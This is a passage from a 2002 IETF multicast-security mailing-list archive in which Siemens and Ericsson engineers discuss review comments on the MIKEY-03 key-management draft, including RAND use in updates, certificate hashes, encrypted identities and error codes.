	for <msec-archive@odin.ietf.org>; Mon, 22 Jul 2002 06:43:35 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id D841353581; Mon, 22 Jul 2002 06:42:03 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 989B15355F
	for <msec@lists.securemulticast.org>; Mon, 22 Jul 2002 06:41:24 -0400 (EDT)
Received: (qmail 24549 invoked by uid 3269); 22 Jul 2002 10:43:26 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 24546 invoked from network); 22 Jul 2002 10:43:25 -0000
Received: from gorilla.mchh.siemens.de (194.138.158.18)
  by klesh.pair.com with SMTP; 22 Jul 2002 10:43:25 -0000
Received: from blues.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.227])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id MAA19814;
	Mon, 22 Jul 2002 12:43:16 +0200 (MET DST)
Received: from mchh168e.mch4.siemens.de ([139.21.130.175])
	by blues.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id MAA13370;
	Mon, 22 Jul 2002 12:43:12 +0200 (MET DST)
Received: by mchh168e.mch4.siemens.de with Internet Mail Service (5.5.2653.19)
	id <P27H7HSB>; Mon, 22 Jul 2002 12:43:12 +0200
Message-ID: <DA6599EBFD6CF042B0B77964CFF6209553039F@MCHH162E>
From: Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
To: Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>,
        "'Fredrik Lindholm (ERA)'" <Fredrik.Lindholm@era.ericsson.se>,
        "'msec@securemulticast.org'" <msec@securemulticast.org>,
        "'jari.arkko@ericsson.com'" <jari.arkko@ericsson.com>,
        "'elisabetta.carrara@era.ericsson.se'" <elisabetta.carrara@era.ericsson.se>,
        "'karl.norrman@era.ericsson.se'" <karl.norrman@era.ericsson.se>
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Subject: [MSEC] MIKEY-03 - some feedback
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Mon, 22 Jul 2002 12:43:03 +0200

Dear all,

I've to excuse that I'm late with my review feedback, but I was so busy with
other things around.

Several issues in the most recent draft called my attention, and I would
like to bring them to your consideration for comment and/or correction.

First of all: The new version looks much more clear than MIKEY-01; I really
appreciate that.

1.) Section 1.2 and security protocols in section 3.1, 3.2 and 3.3
denote {SP} as zero or more occurrences. However, when first reading the
draft straight through, it was long not clear what the purpose for empty SP
should be. Later in the document, it appears that the empty SP cares for TGK
re-keying (?) where SP and other static values be left out. Is this my
correct understanding?
My recommendation is to add some clarifying text on that in the chapter 3
with some forward pointer to section 4.5

2.) Section 2.1 Scenarios
Case c) depicts many-to-many communication through a centralized conference
server. I do not understand why MIKEY could not be used for such scenario
(as stated in the very last sentence). I can imagine either one of the three
MIKEY key management protocol being applied between an end point and the
server S.

3.) Section 3
"RAND ... It is not included in update messages of a CSB. See Section 6.11
for payload definition."
I do not quite get it, why the update protocol remains secure when omitting
the RAND, but for the initial message the RAND is absolutely necessary?
Shouldn't there be a RAND in the update messages too, to protect against
off-line cryptanalysis attacks?

4.) Section 3.2 Public-key encryption
Regarding description of the PKE, I would love to see the related crypto
protocol be shown too; e.g.:
PKE = E(PK_R, env_key)

"If the Responder possess several public keys, the Initiator can use CHASH
to indicate the key used."
I do not get the idea here when I look at section 6.8 and recognize that
CHASH is just a hash of the certificate. Is thus CHASH an implicit
indicator? Should the receiver try through all certificates and cross-check
with the CHASH until a correct one is found?

Why not include the CertificateSerialNumber from the X.509 certificate as an
identifier of the public key?

"Note that there will be one encrypted IDr and possibly also one unencrypted
IDr. The encrypted one is needed to avoid certain man-in-the-middle attacks,
while the unencrypted is always useful for the Responder to immediately
identify the Initiator."
These two sentences made me confused and I'm not even clear if the I_message
or the R_message is meant. Further, the depicted protocols do not show the
possibility to have several IDs (plaintext and encrypted). I couldn't even
find a payload that holds an encrypted ID.
So what's missing here???


Please clarify.

5.) Section 4.1.5
This section shows a label for generating a salting key from the
pre-shared/envelope key. I do not quite understand if a salting key is
defined for a pre-shared key and what it should be good for. The same might
be true for the envelope key as well.
(I understand the concept of a salting key derived from a TGK, this could be
useful for SRTP for example).

6.) Section 4.3 "Policies", and also 6.10.1
I'm not yet convinced that the notion of "policy" in this MIKEY context is
fully appropriate. My understanding of a policy is something of a rule set
of general, more high-level behaviour of security systems whereas MIKEY uses
policy more in the view of bundled set of security parameters.
Thus, you should consider the term "security parameters" instead, which by
the way is abbreviated as SP too!

 
7.) Section 4.5 TGK re-keying
"... i.e. all parameters that are static or optional to include may be left
out."
I'm not certain if this statement if fully precise. For example what about
static and mandatory fields (like HDR)? It is probably more convenient to
shortly enumerate those fields and pieces that can be left out.

"New Crypto Sessions are added if desired in the update message. Therefore,
the new MIKEY message does not need to contain keys."
I don't get this completely. Which TGK or other key should a newly added
crypto session apply if the update does not convey a key?

Does this mean that TGK re-keying is a different procedure than CSB
updating?

8.) Figure 5.1
I'm just curious whether 32-bit alignment of the payloads is an
issue/requirement. My rough guess is that not all defined payloads start on
even 32-bit aligned locations.

9.) Section 5.5 Reliability
I recommend to add a fourth bullet "always send the verification message" as
a means to enhance the reliability.

10.)  Section 6.6 Timestamp payload
Not being an NTP expert, what is the reason to mandate both NTP formats?
What exactly refers the "NTP" TS type to?

11.)  Section 6.7 ID payload (ID)
My understanding is that this payload is able to convey either some identity
or to convey a digital certificate. By the manner how the values are
assigned to both categories and the fact that the values overlap, it is not
possible to distinguish both cases cleanly (0 could mean NAI or X.509v3)

12.)  section 6.12 Error Payload (ERR)
I observe that error code value 3 is used multiple times (invalid MAC,
invalid EA, invalid HA). Is this intentional to map all those cases to a
single number?

13.) Section 7.2 MIKEY within SIP
Wouldn't it be good practice to always include the V message when the
pre-shared method is applied? This nicely fits into the SIP offer/answer
model anyway and doesn't cause much effort for the responder to generate.

14.) Section 9.5 DoS
" For example, the SIP protocol can provide this using the anonymous
authentication challenge mechanism (specified in Section 22.1 of [SIP])."
This is true, but the downside of this technique is that is adds another
roundtrip to the exchange. I fear that this additional DoS countermeasure is
unavoidable if required.


With kind regards


Martin Euchner.
-----------------------------------------------------------------------
| Dipl.-Inf.                     Rapporteur Q.G/SG16
| Martin Euchner                 Phone: +49 89 722 55790
| Siemens AG.....................Fax  : +49 89 722 47713
| ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
|                                mailto:martin.euchner@ties.itu.int
| Hofmannstr. 51                 Intranet:
http://intranet.icn.siemens.de/marketing/cs27/topics/security/
| D-81359 Muenchen               Internet: http://www.siemens.de/
| __________________
| Germany     
-----------------------------------------------------------------------


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul 23 05:33:48 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA04460
	for <msec-archive@odin.ietf.org>; Tue, 23 Jul 2002 05:33:48 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id BCF9B537CD; Tue, 23 Jul 2002 05:31:08 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 6ACB453778
	for <msec@lists.securemulticast.org>; Tue, 23 Jul 2002 05:29:43 -0400 (EDT)
Received: (qmail 19617 invoked by uid 3269); 23 Jul 2002 09:31:47 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 19612 invoked from network); 23 Jul 2002 09:31:46 -0000
Received: from albatross-ext.wise.edt.ericsson.se (HELO albatross.wise.edt.ericsson.se) (193.180.251.49)
  by klesh.pair.com with SMTP; 23 Jul 2002 09:31:46 -0000
Received: from esealnt610.al.sw.ericsson.se (esealnt610.al.sw.ericsson.se [153.88.254.69])
	by albatross.wise.edt.ericsson.se (8.12.1/8.12.1/WIREfire-1.4) with ESMTP id g6N9VhrU024332;
	Tue, 23 Jul 2002 11:31:43 +0200 (MEST)
Received: from e00d05937ed1e (164.48.154.102 [164.48.154.102]) by esealnt610.al.sw.ericsson.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55)
	id PN693PL3; Tue, 23 Jul 2002 11:31:33 +0200
Message-ID: <000001c2322b$98e01500$0688fea9@e00d05937ed1e>
X-Sybari-Trust: e5376ed4 14dfe396 d858fc6c 00000138
From: "Fredrik Lindholm" <fredrik.lindholm@era.ericsson.se>
To: <msec@securemulticast.org>,
        "Euchner Martin ICN M SR 3" <Martin.Euchner@icn.siemens.de>
Cc: "=?iso-8859-1?Q?Mats_N=E4slund?=" <mats.naslund@era-t.ericsson.se>,
        <karl.norrman@era.ericsson.se>, <elisabetta.carrara@era.ericsson.se>,
        <jari.arkko@ericsson.com>
Subject: Re: [MSEC] MIKEY-03 - some feedback
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3612.1700
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3612.1700
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 23 Jul 2002 11:13:05 +0200
Content-Transfer-Encoding: 7bit


Hi Martin,

thanks for the feedback, see comments inline.



>Dear all,
>
>I've to excuse that I'm late with my review feedback, but I was so busy
with
>other things around.
>
>Several issues in the most recent draft called my attention, and I would
>like to bring them to your consideration for comment and/or correction.
>
>First of all: The new version looks much more clear than MIKEY-01; I really
>appreciate that.
>
>1.) Section 1.2 and security protocols in section 3.1, 3.2 and 3.3
>denote {SP} as zero or more occurrences. However, when first reading the
>draft straight through, it was long not clear what the purpose for empty SP
>should be. Later in the document, it appears that the empty SP cares for
TGK
>re-keying (?) where SP and other static values be left out. Is this my
>correct understanding?


Correct

>My recommendation is to add some clarifying text on that in the chapter 3
>with some forward pointer to section 4.5


ok

>
>2.) Section 2.1 Scenarios
>Case c) depicts many-to-many communication through a centralized conference
>server. I do not understand why MIKEY could not be used for such scenario
>(as stated in the very last sentence). I can imagine either one of the
three
>MIKEY key management protocol being applied between an end point and the
>server S.


Yes this is true. By this we do not want to say that it will be impossible
to use
MIKEY in that particular scenario. However, it was not the main addressed
scenario when MIKEY was created. Maybe we should explain more the
aimed trust model that we have assumed are scenarios without the new
need of a common trusted party (which the central server would be).

>
>3.) Section 3
>"RAND ... It is not included in update messages of a CSB. See Section 6.11
>for payload definition."
>I do not quite get it, why the update protocol remains secure when omitting
>the RAND, but for the initial message the RAND is absolutely necessary?
>Shouldn't there be a RAND in the update messages too, to protect against
>off-line cryptanalysis attacks?


No. I don't see that as necessary.

>
>4.) Section 3.2 Public-key encryption
>Regarding description of the PKE, I would love to see the related crypto
>protocol be shown too; e.g.:
>PKE = E(PK_R, env_key)
>
>"If the Responder possess several public keys, the Initiator can use CHASH
>to indicate the key used."
>I do not get the idea here when I look at section 6.8 and recognize that
>CHASH is just a hash of the certificate. Is thus CHASH an implicit
>indicator? Should the receiver try through all certificates and cross-check
>with the CHASH until a correct one is found?


Yes, but "all certificates" are hopefully not that many, and I do expect
that you
already have the hashes of your certificates (if you posses more than one)
so that you can use the CHASH as a lookup for the certificate. Of course
in the X.509 case, the serial number could have been used for the same
functionality.

>
>Why not include the CertificateSerialNumber from the X.509 certificate as
an
>identifier of the public key?


Then you tie it to a specific certificate type...

>
>"Note that there will be one encrypted IDr and possibly also one
unencrypted
>IDr. The encrypted one is needed to avoid certain man-in-the-middle
attacks,
>while the unencrypted is always useful for the Responder to immediately
>identify the Initiator."
>These two sentences made me confused and I'm not even clear if the
I_message
>or the R_message is meant. Further, the depicted protocols do not show the
>possibility to have several IDs (plaintext and encrypted). I couldn't even
>find a payload that holds an encrypted ID.
>So what's missing here???


Ouch, that sentence was quite messed up. Thanks for spotting it. It should
be IDi
instead of IDr. It is referred to the I_message (will add that). The payload
holding
the encrypted IDi is the same payload as the one holding the unencrypted IDi
(the only difference is that in the encrypted case, the payload will be
encrypted).


>
>
>Please clarify.


OK, I will look these through for the update.

Thanks,
Fredrik

PS. I'm out of office this week, so I might have some problems reading
mails.

>
>5.) Section 4.1.5
>This section shows a label for generating a salting key from the
>pre-shared/envelope key. I do not quite understand if a salting key is
>defined for a pre-shared key and what it should be good for. The same might
>be true for the envelope key as well.
>(I understand the concept of a salting key derived from a TGK, this could
be
>useful for SRTP for example).
>
>6.) Section 4.3 "Policies", and also 6.10.1
>I'm not yet convinced that the notion of "policy" in this MIKEY context is
>fully appropriate. My understanding of a policy is something of a rule set
>of general, more high-level behaviour of security systems whereas MIKEY
uses
>policy more in the view of bundled set of security parameters.
>Thus, you should consider the term "security parameters" instead, which by
>the way is abbreviated as SP too!
>
>
>7.) Section 4.5 TGK re-keying
>"... i.e. all parameters that are static or optional to include may be left
>out."
>I'm not certain if this statement if fully precise. For example what about
>static and mandatory fields (like HDR)? It is probably more convenient to
>shortly enumerate those fields and pieces that can be left out.
>
>"New Crypto Sessions are added if desired in the update message. Therefore,
>the new MIKEY message does not need to contain keys."
>I don't get this completely. Which TGK or other key should a newly added
>crypto session apply if the update does not convey a key?
>
>Does this mean that TGK re-keying is a different procedure than CSB
>updating?
>
>8.) Figure 5.1
>I'm just curious whether 32-bit alignment of the payloads is an
>issue/requirement. My rough guess is that not all defined payloads start on
>even 32-bit aligned locations.
>
>9.) Section 5.5 Reliability
>I recommend to add a fourth bullet "always send the verification message"
as
>a means to enhance the reliability.
>
>10.)  Section 6.6 Timestamp payload
>Not being an NTP expert, what is the reason to mandate both NTP formats?
>What exactly refers the "NTP" TS type to?
>
>11.)  Section 6.7 ID payload (ID)
>My understanding is that this payload is able to convey either some
identity
>or to convey a digital certificate. By the manner how the values are
>assigned to both categories and the fact that the values overlap, it is not
>possible to distinguish both cases cleanly (0 could mean NAI or X.509v3)
>
>12.)  section 6.12 Error Payload (ERR)
>I observe that error code value 3 is used multiple times (invalid MAC,
>invalid EA, invalid HA). Is this intentional to map all those cases to a
>single number?
>
>13.) Section 7.2 MIKEY within SIP
>Wouldn't it be good practice to always include the V message when the
>pre-shared method is applied? This nicely fits into the SIP offer/answer
>model anyway and doesn't cause much effort for the responder to generate.
>
>14.) Section 9.5 DoS
>" For example, the SIP protocol can provide this using the anonymous
>authentication challenge mechanism (specified in Section 22.1 of [SIP])."
>This is true, but the downside of this technique is that is adds another
>roundtrip to the exchange. I fear that this additional DoS countermeasure
is
>unavoidable if required.
>
>
>With kind regards
>
>
>Martin Euchner.
>-----------------------------------------------------------------------
>| Dipl.-Inf.                     Rapporteur Q.G/SG16
>| Martin Euchner                 Phone: +49 89 722 55790
>| Siemens AG.....................Fax  : +49 89 722 47713
>| ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
>|                                mailto:martin.euchner@ties.itu.int
>| Hofmannstr. 51                 Intranet:
>http://intranet.icn.siemens.de/marketing/cs27/topics/security/
>| D-81359 Muenchen               Internet: http://www.siemens.de/
>| __________________
>| Germany
>-----------------------------------------------------------------------
>
>
>_______________________________________________
>msec mailing list
>msec@securemulticast.org
>http://www.pairlist.net/mailman/listinfo/msec
>


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul 23 12:53:53 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA22946
	for <msec-archive@odin.ietf.org>; Tue, 23 Jul 2002 12:53:47 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 4EC8353759; Tue, 23 Jul 2002 12:51:54 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id A16E7535BE
	for <msec@lists.securemulticast.org>; Tue, 23 Jul 2002 12:46:22 -0400 (EDT)
Received: (qmail 72228 invoked by uid 3269); 23 Jul 2002 16:48:27 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 72225 invoked from network); 23 Jul 2002 16:48:26 -0000
Received: from gorilla.mchh.siemens.de (194.138.158.18)
  by klesh.pair.com with SMTP; 23 Jul 2002 16:48:26 -0000
Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226])
	by gorilla.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id SAA23817;
	Tue, 23 Jul 2002 18:48:16 +0200 (MET DST)
Received: from mchh169e.mch4.siemens.de ([139.21.130.176])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id SAA02539;
	Tue, 23 Jul 2002 18:48:13 +0200 (MET DST)
Received: by mchh169e.mch4.siemens.de with Internet Mail Service (5.5.2653.19)
	id <PNT0GZC4>; Tue, 23 Jul 2002 18:48:15 +0200
Message-ID: <DA6599EBFD6CF042B0B77964CFF620955303AA@MCHH162E>
From: Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
To: =?ISO-8859-1?Q?=27Mats_N=E4slund=27?= <mats.naslund@era.ericsson.se>,
        Fredrik Lindholm <fredrik.lindholm@era.ericsson.se>,
        Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
Cc: msec@securemulticast.org,
        =?ISO-8859-1?Q?Mats_N=E4slund?= <mats.naslund@era-t.ericsson.se>,
        karl.norrman@era.ericsson.se, elisabetta.carrara@era.ericsson.se,
        jari.arkko@ericsson.com
Subject: RE: [MSEC] MIKEY-03 - some feedback
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 23 Jul 2002 18:48:12 +0200
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id MAA22946

Mats,

thanks a lot for your helpful explanations. You may want to consider stating
some rationale at least in the security consideration section, as I assume
that the arguments are not that obvious to everyone.

Another question relates to why the Diffie-Hellman protocol uses a RAND
value upon the request but not on the response. So does the RAND really
contribute any security there? Ideally, the DH-half key DHi should be
already random, assuming the xi is random. So why have two random fields
there (there is nothing wrong with having multiple random values in a
message of course)?


I have one more clarifying question/response added below inline.


With kind regards

Martin Euchner.
-----------------------------------------------------------------------
| Dipl.-Inf.                     Rapporteur Q.G/SG16
| Martin Euchner                 Phone: +49 89 722 55790
| Siemens AG.....................Fax  : +49 89 722 47713
| ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
|                                mailto:martin.euchner@ties.itu.int
| Hofmannstr. 51                 Intranet:
http://intranet.icn.siemens.de/marketing/cs27/topics/security/
| D-81359 Muenchen               Internet: http://www.siemens.de/
| __________________
| Germany     
-----------------------------------------------------------------------

 -----Original Message-----
From: 	Mats Näslund [mailto:mats.naslund@era.ericsson.se] 
Sent:	Tuesday, July 23, 2002 3:34 PM
To:	Fredrik Lindholm
Cc:	msec@securemulticast.org; Euchner Martin  ICN M SR 3; Mats Näslund;
karl.norrman@era.ericsson.se; elisabetta.carrara@era.ericsson.se;
jari.arkko@ericsson.com
Subject:	Re: [MSEC] MIKEY-03 - some feedback


It is true that in some circumstances, updating the TGK without a new
RAND
does decrease the *total* effective key size for the keys *together*.
This assumes
that you are using transforms for which it is easy to detect key
collsions, and,
that the underlying cryptographic protocol itself does not add "nonces"
in transforms
(as e.g. SRTP does).

MEU:> So it appears that there is a certain linkage to the data security
protocol underneath. Depending on those properties, there are cases where to
better use the RAND than to leave that field out. Is that what you're
saying?



_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Tue Jul 23 13:02:19 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA23758
	for <msec-archive@odin.ietf.org>; Tue, 23 Jul 2002 13:02:18 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id 9192E536AF; Tue, 23 Jul 2002 13:00:43 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 68653535BE
	for <msec@lists.securemulticast.org>; Tue, 23 Jul 2002 12:55:18 -0400 (EDT)
Received: (qmail 73309 invoked by uid 3269); 23 Jul 2002 16:57:23 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 73306 invoked from network); 23 Jul 2002 16:57:22 -0000
Received: from beamer.mchh.siemens.de (194.138.158.163)
  by klesh.pair.com with SMTP; 23 Jul 2002 16:57:22 -0000
Received: from moody.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.226])
	by beamer.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id SAA17794;
	Tue, 23 Jul 2002 18:56:56 +0200 (MET DST)
Received: from mchh169e.mch4.siemens.de ([139.21.130.176])
	by moody.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id SAA03678;
	Tue, 23 Jul 2002 18:57:14 +0200 (MET DST)
Received: by mchh169e.mch4.siemens.de with Internet Mail Service (5.5.2653.19)
	id <PNT0GZDT>; Tue, 23 Jul 2002 18:57:16 +0200
Message-ID: <DA6599EBFD6CF042B0B77964CFF620955303AB@MCHH162E>
From: Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
To: "'Fredrik Lindholm'" <fredrik.lindholm@era.ericsson.se>,
        msec@securemulticast.org,
        Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
Cc: Mats Naslund <mats.naslund@era-t.ericsson.se>,
        karl.norrman@era.ericsson.se, elisabetta.carrara@era.ericsson.se,
        jari.arkko@ericsson.com
Subject: RE: [MSEC] MIKEY-03 - some feedback
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: msec-admin@securemulticast.org
Errors-To: msec-admin@securemulticast.org
X-BeenThere: msec@securemulticast.org
X-Mailman-Version: 2.0
Precedence: bulk
List-Help: <mailto:msec-request@securemulticast.org?subject=help>
List-Post: <mailto:msec@securemulticast.org>
List-Subscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=subscribe>
List-Id: IETF Multicast Security (MSEC) WG list <msec.securemulticast.org>
List-Unsubscribe: <http://www.pairlist.net/mailman/listinfo/msec>,
	<mailto:msec-request@securemulticast.org?subject=unsubscribe>
List-Archive: <http://www.pairlist.net/pipermail/msec/>
Date: Tue, 23 Jul 2002 18:57:08 +0200

Fredrik,

thanks a lot for the quick response. A few comments added inline.


With kind regards

Martin Euchner.
-----------------------------------------------------------------------
| Dipl.-Inf.                     Rapporteur Q.G/SG16
| Martin Euchner                 Phone: +49 89 722 55790
| Siemens AG.....................Fax  : +49 89 722 47713
| ICN M SR 3                     mailto:Martin.Euchner@icn.siemens.de
|                                mailto:martin.euchner@ties.itu.int
| Hofmannstr. 51                 Intranet:
http://intranet.icn.siemens.de/marketing/cs27/topics/security/
| D-81359 Muenchen               Internet: http://www.siemens.de/
| __________________
| Germany     
-----------------------------------------------------------------------

 -----Original Message-----
From: 	Fredrik Lindholm [mailto:fredrik.lindholm@era.ericsson.se] 
Sent:	Tuesday, July 23, 2002 11:13 AM
To:	msec@securemulticast.org; Euchner Martin  ICN M SR 3
Cc:	Mats Naslund; karl.norrman@era.ericsson.se;
elisabetta.carrara@era.ericsson.se; jari.arkko@ericsson.com
Subject:	Re: [MSEC] MIKEY-03 - some feedback


>
>2.) Section 2.1 Scenarios
>Case c) depicts many-to-many communication through a centralized conference
>server. I do not understand why MIKEY could not be used for such scenario
>(as stated in the very last sentence). I can imagine either one of the
three
>MIKEY key management protocol being applied between an end point and the
>server S.


Yes this is true. By this we do not want to say that it will be impossible
to use
MIKEY in that particular scenario. However, it was not the main addressed
scenario when MIKEY was created. Maybe we should explain more the
aimed trust model that we have assumed are scenarios without the new
need of a common trusted party (which the central server would be).

MEU:> yeah, I think not too much has been said in the current draft upon the
assumed trust models, so some further rationale might help...

>
>3.) Section 3
>"RAND ... It is not included in update messages of a CSB. See Section 6.11
>for payload definition."
>I do not quite get it, why the update protocol remains secure when omitting
>the RAND, but for the initial message the RAND is absolutely necessary?
>Shouldn't there be a RAND in the update messages too, to protect against
>off-line cryptanalysis attacks?


No. I don't see that as necessary.

MEU>: Fortunately, Mats gave some good answer


>
>"Note that there will be one encrypted IDr and possibly also one
unencrypted
>IDr. The encrypted one is needed to avoid certain man-in-the-middle
attacks,
>while the unencrypted is always useful for the Responder to immediately
>identify the Initiator."
>These two sentences made me confused and I'm not even clear if the
I_message
>or the R_message is meant. Further, the depicted protocols do not show the
>possibility to have several IDs (plaintext and encrypted). I couldn't even
>find a payload that holds an encrypted ID.
>So what's missing here???


Ouch, that sentence was quite messed up. Thanks for spotting it. It should
be IDi
instead of IDr. It is referred to the I_message (will add that). The payload
holding
the encrypted IDi is the same payload as the one holding the unencrypted IDi
(the only difference is that in the encrypted case, the payload will be
encrypted).


MEU:> ok I see, although I can't remember having anything seen so far
regarding encrypted IDs (at least not in the payload section). Let's await
the next MIKEY draft release then... 


_______________________________________________
msec mailing list
msec@securemulticast.org
http://www.pairlist.net/mailman/listinfo/msec


From msec-admin@securemulticast.org  Wed Jul 24 09:22:00 2002
Received: from pairlist.net (pairlist.net [216.92.1.92])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA15124
	for <msec-archive@odin.ietf.org>; Wed, 24 Jul 2002 09:21:59 -0400 (EDT)
Received: from pairlist.net (localhost.pair.com [127.0.0.1])
	by pairlist.net (Postfix) with ESMTP
	id CCA8053569; Wed, 24 Jul 2002 05:31:04 -0400 (EDT)
Delivered-To: msec@pairlist.net
Received: from klesh.pair.com (klesh.pair.com [209.68.2.45])
	by pairlist.net (Postfix) with SMTP id 6E37D53569
	for <msec@lists.securemulticast.org>; Wed, 24 Jul 2002 05:30:37 -0400 (EDT)
Received: (qmail 10117 invoked by uid 3269); 24 Jul 2002 09:32:44 -0000
Delivered-To: ietfsmug-securemulticast:org-msec@securemulticast.org
Received: (qmail 10114 invoked from network); 24 Jul 2002 09:32:43 -0000
Received: from beamer.mchh.siemens.de (194.138.158.163)
  by klesh.pair.com with SMTP; 24 Jul 2002 09:32:43 -0000
Received: from blues.mchh.siemens.de (mail2.mchh.siemens.de [194.138.158.227])
	by beamer.mchh.siemens.de (8.9.3/8.9.3) with ESMTP id LAA10672;
	Wed, 24 Jul 2002 11:32:20 +0200 (MET DST)
Received: from mchh168e.mch4.siemens.de ([139.21.130.175])
	by blues.mchh.siemens.de (8.9.1/8.9.1) with ESMTP id LAA12407;
	Wed, 24 Jul 2002 11:32:37 +0200 (MET DST)
Received: by mchh168e.mch4.siemens.de with Internet Mail Service (5.5.2653.19)
	id <PN4ATNTF>; Wed, 24 Jul 2002 11:32:38 +0200
Message-ID: <DA6599EBFD6CF042B0B77964CFF620955303B1@MCHH162E>
From: Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
To: =?iso-8859-1?Q?=27Mats_N=E4slund=27?= <mats.naslund@era.ericsson.se>,
        Euchner Martin ICN M SR 3 <Martin.Euchner@icn.siemens.de>
Cc: Fredrik Lindholm <fredrik.lindholm@era.ericsson.se>,
        msec@securemulticast.org,
        =?iso-8859-1?Q?Mats_N=E4slund?= <mats.naslund@era-t.ericsson.se>,
